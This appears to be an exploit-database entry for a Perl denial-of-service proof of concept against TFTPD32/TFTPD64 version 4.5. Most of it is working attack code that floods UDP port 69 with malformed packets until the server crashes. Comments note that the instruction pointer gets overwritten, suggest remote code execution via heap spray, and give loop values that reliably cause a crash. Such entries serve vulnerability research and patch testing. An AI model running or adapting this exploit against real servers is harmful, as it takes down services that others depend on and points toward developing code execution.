TFTPD32 4.5 / TFTPD64 4.5 - DoS PoC



EKU-ID: 4037 CVE: OSVDB-ID:
Author: j0s3h4x0r Published: 2014-05-15 Verified: Verified
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# Exploit Title: TFTPD32 4.5 / TFTPD64 4.5 DoS poc
# Date: 13/05/2014
# Exploit Author: j0s3h4x0r
# Homepage: http://tftpd32.jounin.net/tftpd32_testimonials.html
# Software Link: http://tftpd32.jounin.net/download/tftpd32.450.zip
# Version: 4.5 32 bits / 4.5 64 bits
# Tested on: [Windows 7 x64]
  
#this proof of concept code will crash tftpd32 and tftpd64
#you can try changing $j and $i loop limits
#most of the times EIP reaches 0x2E373231 == "127." or any string contained in tftpd32 error logs
#and sometimes EIP reaches addresses similar to 0x00013200 so Remote Code Execution may be possible using some form of heap-spray
  
## Exploit-DB Note: $j=5, $i=2500 caused a crash. 
  
  
  
#!/usr/bin/perl -w
  
use IO::Socket;
  
for (my $j = 0; $j < 2; $j++)
{
    sleep(2);
    for (my $i = 0; $i < 1500; $i++)
    {
        $st_socket = IO::Socket::INET->new(Proto=>'udp', PeerAddr=>'127.0.0.1', PeerPort=>69) or die "connect error";
      
        $p_c_buffer = "\x0c\x0d" x 10;
      
        print $st_socket $p_c_buffer;
      
        close($st_socket);
  
        print "sent " . $i . "\n";
    }
}
  
exit;